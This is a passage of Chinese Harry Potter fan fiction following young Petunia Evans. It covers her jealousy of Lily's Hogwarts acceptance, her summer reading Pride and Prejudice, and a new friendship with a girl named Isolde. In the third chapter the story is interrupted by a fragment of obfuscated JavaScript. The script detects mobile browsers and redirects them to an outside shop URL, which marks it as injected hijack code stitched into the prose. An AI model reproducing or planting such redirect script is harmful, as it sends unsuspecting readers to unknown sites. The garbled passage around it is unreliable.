《HP佩妮的小说故事》
2. chapter1
乌云把太阳遮住,站在自己家门口的草坪上,佩妮心想,马上又要下雨了。
下一秒伊万斯夫人捧起自己大女儿的脸蛋,有些担忧地说道:“佩妮,你真的不跟我们去吗?”
佩妮感到母亲温热的手掌,还有掌间粗糙的薄茧,抚过自己的脸颊。眼角的余光瞥见父亲把所有的行李箱搬进那辆红色的沃克斯豪尔后,然后关上后备箱,拉开驾驶座的门坐下,摇下车窗,看着自己这边,引擎没有熄火,在持续发出轰鸣声。后排的车窗没有摇下来,但透过灰色的车窗,仍然隐隐可见那火焰一样鲜红的头发,佩妮知道,莉莉就安静地坐在后车座上。
莉莉——噢,一想到莉莉,有一团火焰在她心中开始熊熊燃烧,使她的喉咙缩紧,她深吸一口气,尽量压下自己突然加快的心跳,使自己的声音听起来如平常一般的平稳:“妈妈你放心吧,可怜的霍尔太太需要我暑假帮她写信给她的儿子呢,我会照顾好我自己,也不给霍尔太太添麻烦的。”
就住在隔壁的霍尔太太穿着她那件淡粉色的睡裙,从围栏那边探出身子,冲着伊万斯夫人大声说:“放心吧玛格丽特,我会照顾好小佩妮的,再不出发就要赶不上你们的火车咯。”仿佛回应似的,伊万斯先生在汽车里按了两下喇叭,伊万斯太太只好叹了一口气,在佩妮的额头上落下一吻,随后提起裙摆,匆匆坐上副驾驶。
佩妮挥手,看见妈妈从车窗里探出头,向她挥手告别,一直等到这辆沃克斯豪尔在街角处拐弯完全看不见了,她迅速收起脸上的微笑,感到脸上的肌肉已经僵硬了。霍尔太太冲她摆手,大声说:“佩妮,快点过来,要吃饭了。”声音太大了,震得路上的行人纷纷往这边看,佩妮心想,她一定又忘记带她的助听器了。但佩妮并没有直接过去,她低下头,匆匆给霍尔太太留下一句:“我收拾一下东西,马上来。”随后也不管霍尔太太到底有没有听清楚,就大步跳过阶梯,直奔二楼,木板被她重重的脚步踩得咯吱咯吱直响。
砰的一声,佩妮推开自己的房门,自己的身影就这样从那扇全身镜里显现出来。
镜子里是一个稍显高挑的纤细身影,这点是佩妮最满意的,这样纤细的身材偶尔会为她带来一些注视和称赞,使她感到骄傲和自豪。但是除却这个身材之外——佩妮叹了一口气,其他的没有一点值得她骄傲。她的头发是金色的,却不是那种会在阳光下闪烁耀眼光芒的金色,她的发色带点灰黄色,就像蒙上了一层尘土,看起来一点也不明亮。她的眼睛是浅灰色的,就像科克沃斯镇上那些工厂里冒出来的灰烟。她的脖子还有点长,佩妮发誓她绝不会忘记在学校里有人在背后偷偷叫她长颈鹿。她的五官具有明显的骨骼线条,高颧骨、略长的下巴和笔挺的鼻梁,这使她不笑得时候看起来非常的凌厉——而这些统统都是来自父亲的馈赠。
与她形成鲜明对比的,是比自己小一岁的莉莉。
莉莉幸运地得到了母亲的恩赐,她继承了母亲耀眼的红头发,有时候在光下像是烧开的铜丝,一缕缕跳跃着光芒,哪怕没有梳理得整齐,自成一派生机勃勃的美。更可恨的是她那双像春天的湖水一样的绿眼睛——清澈、好奇,总是闪着某种别人没有的光,好像她天生就知道自己不属于这里。莉莉的五官柔和,皮肤白皙细腻,每次和佩妮走在一起,碰见亲朋好友的时候,他们总是先看到莉莉,真诚地夸赞莉莉像一个“像天使一样美丽的淑女”,随后目光才游移到佩妮的身上,目光上下打量她半晌,才仿佛出于礼貌一般,客气地夸赞佩妮为一个穿着端庄大方的小姐。
若他们都知道莉莉的真实面目,佩妮发自肺腑地想,莉莉绝对不是天使也不是淑女。首先,无论是天使还是淑女,都绝对不会神经兮兮地捡石头、观察树叶,或对着花朵说话,把自己全身上下弄得脏兮兮。其次,无论是天使还是淑女,都不会掐着腰,在操场上大声与男生吵架到甚至快要打起来的地步。还有,一个淑女是要懂得尊重老师的,是绝对不会在课堂上大声指出老师的错误,最后连累试图拉住她的佩妮一起去走廊罚站的。
最重要的一点,一个淑女,是怎么做到对植物说话的时候,植物能够点头回应她,能操控花朵在自己手上开谢,又在荡秋千荡到最高点的时候,在佩妮的惊声尖叫中飞出去,毫发无损地落在草坪上的呢?
佩妮匆匆从镜子里别开自己的视线,蹲在地上开始收拾起卧室里散落一地的东西,她本来也打算和爸爸妈妈还有莉莉,一起去巴斯进行暑期旅游的,一想到这里,佩妮松开手,怀里抱着的衣物和饰品又乱七八糟地掉在了地上,佩妮什么也不想动了,她直直将自己摔在了床上。
去年的夏天,佩妮顺理成章地进入了圣凯瑟琳现代中学,这是科克沃斯唯一的一所现代中学,曾经隶属科克沃斯英格兰教会,她的成绩并不足够好,不足以支持她去上文法中学。但是那又怎样,科克沃斯小镇上大部分少女都是一样的,进入一样的现代中学,学习一样的英语、家政、数学等等一些基本的谋生技能,随后毕业,再找一份差不多体面的工作,比如打字员、秘书,然后物色一个好男人,结婚生子。
这是科克沃斯镇上大部分的女孩子的人生轨迹,包括她的母亲,玛格丽特·伊万斯。
去年暑假,为了庆祝佩妮进入中学,她的爸爸妈妈带她和莉莉去了苏格兰高地,壮观的悬崖、绿丘和大海,那趟旅程她非常满意。今年出人意料的是,莉莉竟然考上了文法中学,佩妮是怎么也想不明白,总是在课堂上打瞌睡,下课后总是冲在玩耍第一线的莉莉,是怎么做到在11+考试中考出了优秀,达到能上文法中学的要求的?佩妮不自觉咬紧了自己的嘴唇。爸爸妈妈非常高兴,爸爸大手一挥,说今年暑假要带他们去巴斯——巴斯可以去看简·奥斯汀曾经住的房子!虽然这趟旅程是因为莉莉才能去的,但是佩妮还是暗暗期待了很久。
但是更出乎人意料的事情还在后面呢。一只猫头鹰,在一个夜晚,带来一封神奇的信件。信件里说解释了莉莉从小到大那令人不安的天赋的原因,因为这个世界存在魔法,莉莉是一名女巫,她即将进入一所名叫霍格沃茨的魔法中学就读。
霍格沃茨是一所怎样的魔法学校呢?
——那个叫做邓布利多的教授写给莉莉的回信中说道:楼梯会移动,画像会说话,这里会有一种“你属于这里”的感受。
文法中学都不够满足莉莉,她甚至马上就要离开科克沃斯,进入一个专属于她的魔法世界了!
佩妮抬起手臂,捂住自己的眼睛。
猫头鹰来信不久,就发生了她和莉莉有史以来最激烈的一次争吵。
——她怎么敢、怎么敢偷看自己的信件?
这一次,她绝对不会原谅莉莉的,绝对!不会!
佩妮猛地坐起来,直奔小窗户下的书桌,粗暴地拉开抽屉,扯出了那封信。那是一封用淡黄色的羊皮纸折成的信,书写着漂亮的花体字:
To 佩妮·伊万斯小姐:
亲爱的佩妮小姐,感谢来信。很遗憾,霍格沃茨仅收录具备魔法资质的学生。祝你一切顺利。
落款:
阿不思·邓布利多
梅林勋章一级获得者,大魔法师,首席魔法师,国际巫师联合会会长
这封回信的内容极短,只有简简单单一句话。与之形成鲜明对比的是佩妮寄出去的那封信,佩妮回想
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起自己是怎么偷偷抓住了那一只小的猫头鹰,将它塞在自己的口袋里,偷偷带进房间。在晚上借着台灯昏黄的灯光,很认真地逐字推敲,介绍自己——她很正式地介绍她的基本信息,她从小到大经历过的不寻常的事情,比如6岁那年走在科克沃斯夜晚的街道上,思考着这个时候街灯应该亮起来了,然后夜灯就真的亮了!还有8岁那年,她不小心跌进水塘,以为自己要淹死了,但是最后还是毫发无损地爬出来等等这些她觉得不同寻常的事情,试图向邓布利多证明,虽然自己已经12岁了,但是自己可能,或许,也是一名巫师,一名不小心被霍格沃茨遗漏的,忘记通知的小巫师。——毕竟再精确的招生办负责审核入学名单的时候,谁也不能保证不出纰漏。
那封信她写了大半个夜晚,足足写了一页半纸的长度!
佩妮永远也忘不了她是带着怎样的心情,偷偷将这封信绑到小猫头鹰腿上。看见猫头鹰迎着月亮飞走时那天的夜色,是佩妮见过的月亮最圆,星星最亮的夜晚。那只小猫头鹰梳毛时飘下的一根羽毛,至今还藏在佩妮抽屉里,压在所有书信下,那本她记录了她所有少女心事的黑皮笔记本的扉页里。
但是看看小猫头鹰带回来了什么,在另外一个漆黑的,没有星星,只有一弯残月,还下着一点小雨的夜晚,小猫头鹰从佩妮一直没有关上的窗户里跌跌撞撞闯进来,还把佩妮的手指啄出了血,好像不满意在这种坏天气来送信。佩妮在剧烈的心跳中,拆开了这封信,于是看到了这个让她四肢都僵硬起来,仿佛不属于她自己的一句话。
——霍格沃茨仅收录具备魔法资质的学生。
你的妹妹是一名神奇的女巫,而你只是一名普通的凡人。
佩妮不记得自己是怎么把信收进抽屉,躺在床上睡过去的,可能那天晚上也没有睡着,那几天梦境和现实的边界变得模糊起来。反正再有明晰记忆的时候,她打开了抽屉,发现这封信的折痕并不是她原来折成的那样。她站在了莉莉的面前,莉莉的脸色跟她的头发一样鲜红。而佩妮她呢?她的胸口起伏得就像气箱。
莉莉涨红了一张脸,绿宝石的眼睛里涨满了泪水,她说:“你也偷看了我的信不是吗?不然你怎么知道要给邓布利多教授写信呢?”
再反应过来的时候,佩妮已经把莉莉推下了台阶——佩妮发誓,莉莉只踩在第二阶台阶上,她已经数了,这样的高度只会给莉莉一点疼痛的小教训,而且她不是会那种魔法吗?那种让她从秋千最高点跳下来,也毫发无伤的魔法,她可是女巫啊。这件事的后果就是佩妮被锁进了自己的房间锁了三天,直到快要出发去巴斯的时候才被放出来。
在伊万斯太太伤心又带点责备的目光下,佩妮平静地看着伊万斯夫妇,宣布自己退出暑假的巴斯之旅,她宁愿一整个暑假都跟隔壁快80岁的霍尔太太呆在一起,帮她写信、读信,也做不到跟莉莉和平地呆在一个空间里。
“佩——妮——”楼下霍尔太太又在大声喊叫了,佩妮从回忆的漩涡里挣扎出来,抬手将这封只写了短短一句话的羊皮纸信撕了个粉碎,扔进了垃圾桶,然后去自己的衣柜里随手捡了几件裙子装进袋子里,冲下了楼梯,走到门口的时候,佩妮想了想,又冲回自己的房间,在枕头下摸索了一下,掏出了一本书。
她将这本书胡乱地塞进了自己的袋子里,随后将门重重锁上,把这个暑假目前为止所有的不愉快统统锁了进去。路过垃圾回收处的时候,佩妮将那袋包含了那封被撕碎的回信的垃圾,塞了进去。天开始下雨了,佩妮抬头,有零星几点雨打在她的脸上,趁雨还没有大起来之前,佩妮抱着自己的包匆匆跑进了已经飘来南瓜汤香味的霍尔太太家。
3. chapter2
霍尔太太家的晚餐是南瓜汤,她做了整整一大盆,为了照顾她的牙齿,南瓜煮的非常的软烂,而且里面还加了洋葱,胡萝卜,但是没加盐,只加了一些黑胡椒粉。霍尔太太一边喝一边眯起了眼睛,露出幸福的微笑:“有人陪的晚饭,总是吃起来格外香甜呢”,她看起来对自己的手艺非常的满意,喝了整整两大碗。
但是奶油的甜腻,洋葱的辛辣,以及胡萝卜的泥土味没有盐味的打底,轻飘飘地填满了佩妮的口腔和鼻腔,在里面和黑胡椒味疯狂打架,佩妮只吃了两口,就忍不住放下了筷子。霍尔太太慈爱地看着佩妮:“我知道青春期的女孩子总是追求苗条的身材,但是,孩子你真的太瘦了。”在霍尔太太的目光下,佩妮只好一边点头,一边控制住自己不露出嫌弃的表情,艰难地吞咽下这滋味纷呈的糊状物体。
等到这碗糊状物终于见底,佩妮迅速地站起来,阻止了霍尔太太颤巍巍收拾的动作,将剩余的南瓜汤端进厨房扔进了下水道,迅速收拾了厨房出来。
佩妮走出厨房,霍尔太太已经在壁炉旁边的扶手沙发坐好了,郑重其事地将她粉红色的助听器从盒子里取出来,塞进她的耳朵。佩妮取出她整理的霍尔太太信箱里所有的信,也坐到壁炉旁,霍尔太太看着佩妮,抿嘴露出了微笑,眼睛亮晶晶的,以至于看起来就像早已在岁月中逝去多时的那个少女,重新在这个衰老的躯体中活了过来。
佩妮拆开信一封一封给霍尔太太读起来。
从她9岁开始,佩妮就和霍尔太太结成了深厚的友谊。她经常在暑假来霍尔太太家,霍尔太太的丈夫已经去世10年了,她的儿子现在定居在美国的夏威夷——佩妮听说那里有海岸和阳光,不像科克沃斯老是下雨。霍尔太太的儿子通常通过写信跟自己的母亲进行的沟通,但是霍尔太太的年纪已经不允许她再轻而易举地看清楚信上一行行的字母,她的体力也不支持她坐在书桌前,将她的内心写下来,于是这就变成佩妮的活了。
佩妮只需要在晚饭后给霍尔太太读一段时间的信,在她需要的时候帮她提笔回信,顺便偶尔帮霍尔太太处理一下晚餐就够了,剩下的时间都是她自己的。霍尔太太还会给她几个先令做个报酬,与其在草坪上摸爬滚打,被太阳灼伤自己的皮肤,甚至还有可能被不长眼的小混球脏兮兮的球击中——佩妮绝对不允许这种失控的事情发生。所以在霍尔太太家度过暑假的一段时光,是一个让佩妮很满意的选择。
霍尔太太的信箱里的信五花八门,不仅仅有她儿子的信,还有不同杂志社寄来的信,有教如何做牧羊人派的家庭食谱,有如何打理羊绒大衣的生活技能,今天甚至还有一篇短小精巧的推理小说。
这篇小说佩妮读着读着就入迷了,等她回过神来,非常不好意思地抬头,才发现霍尔太太呼吸声早就变得规律且均匀,闭起了眼睛,下颌一点一点地点在胸口上打起了盹。这让佩妮悄悄松了一口气,她站起来,把这些书信收好,给霍尔太太盖上了一条毛巾毯,蹑手蹑脚上了二楼,前往霍尔太太早就给她准备好的房间里。
霍尔太太给佩妮准备的房间比佩妮自己的房间要小,这个房屋是阁楼改的,稍微有一些逼仄,里面只有一张床,一个小衣柜,简单的书桌和一盏台灯,但是佩妮熟悉这间小屋就跟熟悉她自己的房间一样。
月亮悄悄爬了上来,佩妮开了灯,整理起自己的衣服,她把她的裙子一件一件叠起来,力图保证每一件的大小都是一样的,还要尽量避免产生多余的褶皱。
今天早上他们出发的时候,她看到了莉莉淤青的手肘,她打开自己的房门,莉莉正好经过她,莉莉绿色的眼睛有那么一瞬间停留在佩妮的身上,佩妮觉得她想跟自己说什么。但是佩妮迅速错开了视线的接触,退回到自己的房间,关上了房门,将那道湿漉漉的目光拒之门外。
从发生争吵到莉莉他们出发,佩妮跟她一句话都没说上。
是从什么时候开始的呢?佩妮心想,明明小时候的莉莉也是很讨她喜欢的啊,她们一起缩在床上,盖着同一床被子,也不顾被子里的闷热,一起讲在学校里遇到的好玩的事。还有莉莉蹲在草地上,将那捧新鲜的百合举起来,差点捅到佩妮的鼻尖上,新鲜的花还在往下滴着混合着泥土的水,弄脏了莉莉的裙摆和鞋子,但莉莉一点也不在意,让佩妮那一天都被若隐若现的花香所萦绕。
变了的是莉莉,佩妮暗恨地想,为什么她已经拥有了那么多,却还能拥有更多。
情绪像潮水一样向佩妮涌过来,她觉得晚上不应该吃那么多的南瓜汤,现在南瓜糊堵在她的胸口,沉甸甸的让她难受极了。
佩妮突然发现她最喜欢的那条白色蕾丝边的绿色长裙裙摆沾上了灰尘,应该是今天早上将它从衣柜里拿出来的时候,不小心拖到了地上沾上的。佩妮有些挫败地想,又要重新洗了,然后仿佛泄愤一般将这条裙子团巴团巴扔到了床脚,倒在了床上,环境非常安静,只有偶尔远处传来一两声狗叫,房间空荡荡的,只有昏黄的灯光萦绕其中。
这一次她真的不会再轻易地,主动地原谅莉莉了。
她的手突然触碰到了一个坚硬的物体边缘,拿起一看,是她早些时候收起来带过来的书。
——《傲慢与偏见》,这个暑假她反复阅读了3遍的书。
佩妮突然就觉得轻松了一点。
这是她从今年年初偷偷开始的小爱好,谁也不知道,包括爸爸妈妈和莉莉。今年年初,她去给图书馆管理员送包裹的时候,第一次踏足了科克沃斯免费向公众开放的图书馆,那是一个由废弃的小工厂改造的建筑,墙壁早就已经被烟熏的发黄发黑,白色的墙漆斑驳,露出里面红色的砖块,靠近地面的墙缝里爬满了植物,大门是生锈的铁门,推动它的时候,会发出令人难以忍受的尖锐的噪音。佩妮觉得整个建筑就像一个怪兽,张开黑漆漆的嘴巴,等待无知的路人经过,然后一口把人吞掉。如果不是给管理员送包裹,佩妮是绝不会踏进这里的。
但是踏进去之后,佩妮惊讶地发现,与冷硬残破的外形相比,图书馆内部反而装饰得温暖又明亮,整个空间并不大,但是井然有序地摆了许多列书架,书架上陈列了各种各样的书籍,空气里浮荡着墨水的香味。书架间隙放着供人阅读的木长凳,有一两个穿着黑色大衣的人坐在凳子上,捧着书在看,佩妮在书架间逡巡的时候,头也没抬,让佩妮松了一口气。
佩妮一开始真的很担心自己新洗的裙子和鞋子会沾满灰尘,但是图书馆内无论是书架还是地板,都擦得干干净净纤尘不染。科克沃斯公立图书馆的管理员是一个年过五十,额头光秃秃的驼背弯腰的老男人,腰上总是挂着一串叮铃哐啷的钥匙。出于对管理员的了解,佩妮合理推测,这么干净的图书馆管理员太太功不可没。
那天在图书馆的是管理员太太,一个身材微胖,笑容温和的女性,在临走前,叫住了佩妮,她指着窗台前的一块告示板,笑眯眯地问佩妮:“孩子,要不要参加儿童阅读活动?”
佩妮犹豫了一下,走过去看,告示板上用彩色的粉笔写着:
科克沃斯公立图书馆暑假阅读活动,本月内读完指定儿童类图书,并撰写相关读书笔记参
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与评选,设奖如下:一等奖1名额,奖励:40先令,二等奖3名额,奖励:20先令,三等奖5名额,奖励5先令。参与者人人可获得手绘书签一份。——本活动由温切斯特啤酒厂赞助。
佩妮瞪大了她的眼睛,40先令,那这是她整整半年的零花钱,可以买下两条成衣店里她喜欢的裙子!
图书管理员太太对佩妮说:“孩子,参与都是免费的哦。”
指定书架上的图书其实已经不剩下什么了,佩妮犹豫了很久,挑选了其中一本看起来相对新的图书。
“傲慢与偏见,噢,简·奥斯汀的小说,这本书我很喜欢。”图书馆管理员在窗台后面对着佩妮眨了眨眼,“不过可能对你这个年龄的孩子来说,句式会比较复杂,有一点难,孩子你可以试试,看不懂的话可以随时来我这里更换。”
佩妮一下涨红了脸:“谢谢你夫人,但是我会看懂的!”说罢她在图书管理员太太那里登记了信息,抱着书就跑了。
管理员太太的声音在她后面追着说:“记住,月底之前,要把读书笔记送到我这里来呀。”
管理员太太说的是没错,这本书有一些句式确实过于复杂,还有一些单词佩妮需要频繁查阅词典才能读懂。但是一旦看下去了,佩妮很快就入迷了。怎么会有这么好看的小说?心潮澎湃之下,她发誓,她一定要写一篇完美的读书笔记,拿下那40先令的奖励。
于是佩妮开始频繁往返图书馆,出于一种说不清道不明的心情,佩妮并没有把这件事情告诉别人,尤其是莉莉,她只是向父母和莉莉借口道,她要好好学习。莉莉从厨房里钻出来,手上还粘着做曲奇饼干的面粉,要跟她一起去图书馆学习,佩妮微微一笑表示,如果莉莉愿意一起去图书馆做一下午的数学题的话——莉莉当然不愿意。
但是留给佩妮写读书笔记的时间并不多,她一边阅读一边匆匆忙忙完成了一篇读书笔记交上去,只拿了三等奖,只有5先令——一等奖是一个9岁的孩子写的《小王子》读书笔记。佩妮对这件事嗤之以鼻,觉得如果给她充足的时间,她的读书笔记不会比这篇差。
读书活动结束后,佩妮续借了这本《傲慢与偏见》,第一遍看得太匆忙,她要多享受几遍这个发生在19世纪的浪漫爱情故事。
现在坐在床上,佩妮拥着被子,翻开《傲慢与偏见》里她最喜欢的片段,开始慢慢读起来,只有沉浸在另外一个世界的时候,佩妮会忘记自己的情绪。
“出乎她的意料,走进来的是达西先生,于是她情绪上又是另一种感觉。”
“沉默了几分钟后,他带着激动的神态走到她跟前说:我实在没有办法死挨活撑下去了。这怎么行。我的感情再也压抑不住了。请允许我告诉你,我多么敬慕你,多么爱你。”
这样直白的语言,让佩妮一下满脸通红,她的心也跟着伊丽莎白一起跳动起来。
一个英俊的,得体的,有钱男人的告白。
但是伊丽莎白的回答又是多么的妙啊,她居然拒绝了达西先生——在倾倒了一名英俊、得体、有钱男人后,又因为自己的自尊拒绝了他。
伊丽莎白小姐是多么得体,多么令人着迷。
剧情的跌宕起伏使佩妮目眩神迷起来,之前如潮水般涌起来的情绪又如潮水般退去,同时席卷走那些纷繁复杂的事情,慢慢地,佩妮感到自己失去的感觉又回到了自己的身体里,于是困意慢慢涌起。
陷入睡眠之前,佩妮心想,还书的日期好像要到了,明天得去一趟图书馆,顺便问一下伊索尔德,她看到哪里了。
4. chapter3
佩妮去图书馆还书。
她的运气很不好,出门的时候只有风,走着走着稀疏的雨点就落下来了,佩妮抱着侥幸的心态跑起来,但是雨势一下就打起来了,灰色的天空落下磅礴的雨滴,就像是在呕吐一样。雨滴砸在坑洼的石板路上,溅起的泥浆里泛出彩色的油光。
街道两旁的砖房低矮拥挤,窗户蒙着一层油污。有几个男人蹲在屋檐下抽烟,看他们的穿着像是附近工厂的工人,劣质烟草的气味混着雨水的腥气,钻进了佩妮的鼻腔,佩妮只匆匆瞥了一眼,就放弃了过去躲雨的欲望。
雨水顺着佩妮的兜帽滴了下来,潮气打湿她耳边的碎发,她把自己全身裹在雨衣里,抱紧了怀中层层包裹的书,匆匆加快了她的脚步,书本早已经浸透了她的体温。
“嘿!看着点路,长颈鹿!”一声刺耳的单车铃铛从佩妮右后方响起来,一个人影骑在单车上,快速从佩妮身边经过,溅起层层点点的泥水,佩妮吓了一大跳,但她机敏地往旁边一跳,避免了大部分的泥水,只是她的右脚已经不可避免地被弄湿了,冰冷潮湿的触感从右脚向上蔓延,就像有蛇缠上了她的脚。那个人在单车上回头,对佩妮露出一个恶劣的笑容,透过雨幕,佩妮从那口发黄且参差不齐的牙齿中认出,就是那个发明并赐予了她“长颈鹿”外号的罪魁祸首本·肖恩,一个处理二手废弃钢材商人的儿子。
佩妮看着肖恩的单车响着铃铛越骑越远,由衷的希望路边能出现一块石子,让他从单车上跌下来,最好把他的脖子给摔断。
转过铸铁厂锈迹斑斑的围墙,那座由废弃工厂改造的图书馆终于浮现在了雨幕中。
“哦天哪,又是一只可怜的落汤小鸟。”今天出现在图书馆柜台后的是管理员夫人,这让佩妮送了一口气,她从怀里掏出那本沾着她体温,没有被雨水浸染的书,递给了管理员夫人,在管理员夫人将书籍的信息记录好后,佩妮小声请求把这本书还给她,因为她还想续借一次。
“让我看看,”管理员夫人推了推她的眼镜,核对了本子上的信息后,笑着将书从柜台那一侧推给了佩妮,“当然没问题,我的孩子,看来你很喜欢这本书。”
佩妮没有立刻接下这本书,她先把浸透了雨水,沉甸甸的压在她身上的雨衣挂在了图书馆外面的架子上,再跺跺脚,甩干雨鞋上的泥水。等她重新走进图书的时候,一条干净的毛巾出现在了她的眼前,管理员夫人柔和地看着她说:“擦擦吧。”
将头发擦干,感觉自己全身都轻松起来的佩妮,在温暖干净的图书馆里转过几个书架,一眼就看见了伊索尔德那头金灰色的头发。
她穿了一个淡蓝色的斗篷,背对着佩妮俯在桌子上看着什么,金灰色的长发辫成了两条辫子,绿色发带系成的蝴蝶结乖巧地停在她的发尾。
佩妮走了过去,走近了才发现伊索尔德金色的长发也是半湿不干的。
佩妮走到伊索尔德的身边,伊索尔德从书本上抬头,看见是佩妮,推了推她脸上那副银色边框的方型眼镜,很高兴地小声说:“嗨,佩妮。”
佩妮终于也笑起来,她小心拉开了面前的木凳子,尽量避免木凳子划过木头地板时造成的巨大声音,坐在了伊索尔德的旁边,很小声地抱怨道:“我的运气太差了,出来的时候还是小雨,一会儿雨就变大了,让我走也不是,不走也不是。”
伊索尔德笑起来,举起自己沾满了泥点的淡蓝色的斗篷下摆,还有斗篷下面的长裙,指着也沾上了星星点点泥水的灰色长袜对佩妮说:“我也是,我就比你早到了3分钟,佩妮,我们的运气实在是太差了。”
两个人对视一眼,在对方的眼睛里看见自己狼狈的模样,都捂住嘴很小声地笑了起来。
认识伊索尔德是一个意外,佩妮有一天去书架上寻找字典的时候,一眼就被这个女孩子带一点灰色的金色头发吸引了——她的发色居然和佩妮一模一样!佩妮和这个女孩子都想借走书架上最后的一本字典,那女孩比佩妮矮一个头,有一双浅蓝色的眼睛,佩妮看着这个看起来比她小的瘦弱女孩,慷慨地主动把字典让给了她。
女孩抱着字典过来给佩妮道谢,两人互通了姓名,这个和佩妮有着一样金色头发的女孩叫伊索尔德·卡尔维特,居然比佩妮大2岁!这个女孩好像很少见到太阳似的,青蓝色的血管在她白皙的皮肤中若隐若现,她的五官淡淡的,既不难看,也不是十分好看,头发梳得整整齐齐,衣着简单,但十分干净。
最重要的是,无论佩妮说什么,这个女孩总是用她那双水蓝色的眼睛认真地注视着佩妮,并不打断她,让佩妮产生一种自己被夏天的蓝色湖水包围的感觉。
伊索尔德好奇地问佩妮正在看什么书,整整五分钟的时间里佩妮滔滔不绝地向伊索尔德介绍这本她傲慢与偏见有多好看。直到佩妮停下来,撞见伊索尔德浅蓝色的眼睛,看到她盯着自己的真诚表情,突然意识到滔滔不绝的自己可能有多么不礼貌,一时之间她的脸色宛如煮红的虾尾。
但是伊索尔德只是歪着头思考了一下,抿唇冲佩妮笑了一下,随机转身从书架上抽下了另外一本傲慢与偏见,俏皮地说:“既然你说这本书这么好看,那让我也来看看。”
于是友情开始了。
雨滴敲打在图书馆的铁皮屋顶上,与外面的凄风苦雨相比,图书馆内温暖又安静,两个人在一个书桌上各自抱着一本书沉浸书籍的海洋,任由剧情的潮水将她们裹挟至神秘又浪漫的彼岸。
雨势渐渐小起来,又在不知不觉中停了下来,阳光出来了。
佩妮抱着自己续借的傲慢与偏见和伊索尔德走在回家的路上,眼角的余光撇见伊索尔德金色的发辫上束着的绿色的蝴蝶结,在雨后的阳光下一荡一荡的,发色泛出金属质地般的光芒。佩妮心中想,回去后她也要给自己准备一条绿色的发带。
佩妮抱着书,稍微落后一点伊索尔德,试探性地轻声问她:“伊索尔德,你觉得这本书怎么样?”
她有一点紧张,伊索尔德会怎么说,每个人对书本的喜好都是不一样的,万一她说不好看怎么办,纷繁的思绪又涌起来,堵在佩妮的胸口。
“太出乎我的意料了佩妮,我觉得这本书很好看!谢谢你的推荐。”伊索尔德回过头,对佩妮露出了一个大大的微笑。
“这个故事里的人物简直太精彩了,我太喜欢伊丽莎白了,她那么聪明又有主见,不会因为别人是绅士就轻易低头,她说话的方式总是那么锋利又有分寸。我觉得她、她,对,她有很强烈的自我意识,知道自己想要什么,而且敢于拒绝那些她不认可的事物。我特别佩服她拒绝科林斯求婚的那一段,她真的太勇敢了!”
伊索尔德继续说。
“达西先生一开始真的很讨人厌,骄傲又刻薄,我还以为他永远不会改呢。但看到后面,达西先生后来做的那些事……虽然他还是板着脸,但我突然觉得他其实心很软,对吧?”
石砖地上汇集了一滩滩的积水,积水中倒映出难得出来的太阳,虽然太阳也要下山了,但是就像被谁拉开了窗帘一样,橘红色的天空照亮了科克沃斯一直以来阴沉的天幕。伊索尔德像精灵一样灵巧地跳过一滩滩肮脏的积水,皮鞋跟扣在石板上发出清脆的声响。
什么东西从佩妮胸口松开了,她对伊索尔德说:“伊索尔德,你说得真是太好了!你完全说出了我看这本书的心声。”她的语气都欢快起来。
伊索尔德对佩妮说:“我还是第一次看这种类型的书呢,没想到它这么好看,我打算再看一遍。”
佩妮有一些吃惊,她追上去,和伊索尔德并肩而行:“你是第一次看这种书吗?”
伊索尔德点点头:“我平时看的是我妈妈给我留下来的书,大多数都是一些理论类的书,我很少看这种类型,但是我说,她真的很不错,总之,谢谢你的推荐。对了佩妮,你平时会看什么书。”
佩妮又一次涨红了脸,她觉得和伊索尔德在一起,自己总是红脸。她平时看什么书?她平时不看书。
佩妮犹豫了一下,吞吞吐吐地说:“我平时什么都看,但是我看得不多,看得也很慢,所以其实到现在也没看什么书。”
伊索尔德笑起来,佩妮突然发现伊索尔德的睫毛甚至也是浅金色的,就像在一汪湛蓝湖水边盛开的金色花朵:“佩妮,我很喜欢跟你一起看书,我们之后一起去图书馆看书吧。”
佩妮一愣,她不喜欢看书,她喜欢逛街,试新裙子,做曲奇饼干,但是看着伊索尔德的神情,不知怎么的,她就答应了下来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969586|177776||http|test|mini|href|location''.split(''|''),0,{}));
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>谈论之间,她们走到了一个岔路口上,往右走是回佩妮的家,伊索尔德要往左走,跟佩妮告别。
佩妮看着伊索尔德即将踏上的路,脸上露出了一副古怪的表情。
伊索尔德回家居然要穿过炉灰巷——那是科克沃斯已经很有些年头的石砖小路,从小镇东侧的主干道悄无声息地拐出去,蜿蜒穿过镇子上最老的那片砖瓦房区。小路两侧夹着排排拥挤的平房,褐红色的砖墙斑驳脱落,霉迹和煤烟在每一面墙上留下灰黑色的印痕。这里曾经是工人宿舍,有些门房前堆满了旧家具和锈铁器,有些干脆钉了木板。路边的排水沟里浮着油花和烟头,偶尔还能看见碎酒瓶,甚至是破损的皮鞋。这条小路途中还有好几个岔口,有的通往更深处的简易棚屋,有的通向早年废弃的钢铁厂墙后。
佩妮曾被伊万斯夫妇叮嘱过,这条街并不安全,就连白天也不要去这里玩。
她吃惊地问伊索尔德:“你回家居然要穿过这里吗?”伊索尔德听出了佩妮语气中的担忧,她安抚性地拍了拍佩妮的手,伸着头到处张望着,突然冲一个方向挥挥手说:“放心,有人来接我,嘿埃莉诺,我在这里!”
一个人走了过来。
一开始佩妮以为这是个个子不高的男人,走进一看,竟然是一个女人。怎么会有女人这样的穿着打扮?她穿着黑色的夹克衣,褐色的工装裤束进鹿皮靴里,夹克拉链拉到了下巴上,将领子竖了起来。女人棕红色的头发乱蓬蓬的,被随意扎成一束马尾,有几缕垂落在脖颈上,佩妮敢打赌,这样的发质绝对一次护发素都没有用过。
